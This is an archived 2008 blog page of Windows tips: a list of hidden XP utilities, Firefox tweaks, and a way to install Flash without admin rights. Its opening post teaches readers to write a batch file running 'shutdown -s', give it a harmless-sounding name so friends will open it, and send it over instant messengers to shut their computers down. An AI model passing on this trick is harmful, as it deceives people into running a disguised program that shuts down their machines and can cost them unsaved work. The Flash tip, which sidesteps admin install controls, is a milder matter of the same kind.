Archive for August 2008

Shutdown other Computers

Hey guys, here is a very simple way to shutdown other computers.

Here's our algo:
  1. Create a program that can shutdown.
  2. Send this program to your Friends in your YM, MSN, WIndows Live, and etc.
  3. Let them open it,
  4. Then see until they'll logout
To Create This simple Shutdown program:
  1. Open Notepad
  2. Type:"shutdown -s"
  3. Save the File as MyFirstProgram.bat ( I used this, so they'll be curious on my first program. LOL )
  4. Send it to your friends online.
  5. Let them Open.
  6. then Laugh or say "awwww" as they logout.
Note: Make sure that you save the program as .bat. Some people have this mistake, saving it as "MyFirstProgram.bat.txt" --> this is probably incorrect.

Have Fun.

WINDOWS XP HIDDEN APPS

To run any of these apps go to Start > Run and type the executable name (ie charmap).

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1) Character Map = charmap.exe (very useful for finding unusual characters)

2) Disk Cleanup = cleanmgr.exe

3) Clipboard Viewer = clipbrd.exe (views contents of Windows clipboard)

4) Dr Watson = drwtsn32.exe (Troubleshooting tool)

5) DirectX diagnosis = dxdiag.exe (Diagnose & test DirectX, video & sound cards)

6) Private character editor = eudcedit.exe (allows creation or modification of characters)

7) IExpress Wizard = iexpress.exe (Create self-extracting / self-installing package)

8) Microsoft Synchronization Manager = mobsync.exe (appears to allow synchronization of files on the network for when working offline. Apparently undocumented).

9) Windows Media Player 5.1 = mplay32.exe (Retro version of Media Player, very basic).

10) ODBC Data Source Administrator = odbcad32.exe (something to do with databases)

11) Object Packager = packager.exe (to do with packaging objects for insertion in files, appears to have comprehensive help files).

12) System Monitor = perfmon.exe (very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for uber-geeks only )

13) Program Manager = progman.exe (Legacy Windows 3.x desktop shell).

14) Remote Access phone book = rasphone.exe (documentation is virtually non-existant).

15) Registry Editor = regedt32.exe [also regedit.exe] (for hacking the Windows Registry).

16) Network shared folder wizard = shrpubw.exe (creates shared folders on network).

17) File siganture verification tool = sigverif.exe

18) Volume Contro = sndvol32.exe (I've included this for those people that lose it from the System Notification area).

19) System Configuration Editor = sysedit.exe (modify System.ini & Win.ini just like in Win98! ).

20) Syskey = syskey.exe (Secures XP Account database - use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications).

21) Microsoft Telnet Client = telnet.exe

22) Driver Verifier Manager = verifier.exe (seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented).

23) Windows for Workgroups Chat = winchat.exe (appears to be an old NT utility to allow chat sessions over a LAN, help files available).

24) System configuration = msconfig.exe (can use to control starup programs)

25) gpedit.msc used to manage group policies, and permissions

Flash Install

Install Flash Player without Admin Privilege.
Visit Source: -- chuching.org -- -- Varesano.com --
  1. Download the XPI archive of the Flash Player Plugin to your hard disk. XPI archives are only ZIP files containing the files used by the plugins.
  2. Extract the files in the archive
  3. Copy the files flashplayer.xpt and NPSWF32.dll to %APPDATA%\Mozilla\Plugins\ where
    %APPDATA% is the folder which holds your applications profiles and settings. (You can open this folder simply choosing "Start → Run → Type in %APPDATA% → OK")
  4. Restart Firefox
  5. Enjoy your flash websites!

Mozilla Firefox Speed Up

Speed up your Mozilla Firefox: -- Hacking Ethics --
Note: be careful in configuring Mozilla!!! there is no button for setting its values to default.

  1. Type about:config into the address bar and press enter.
  2. Type network.http in the filter field.
  3. Set the value of network.http.pipelining to true
  4. Set the value of network.http.proxy.pipelining to true
  5. Set the value of network.http.pipelining.maxrequests to a higher number like 30 ( this will allow 30 requests at once )
  6. Now, right-click anywhere and select New-> Integer. Name it nglayout.initialpaint.delay and set its value to 0.
Now you have speed up your Mozilla Firefox Browsing. Have Fun.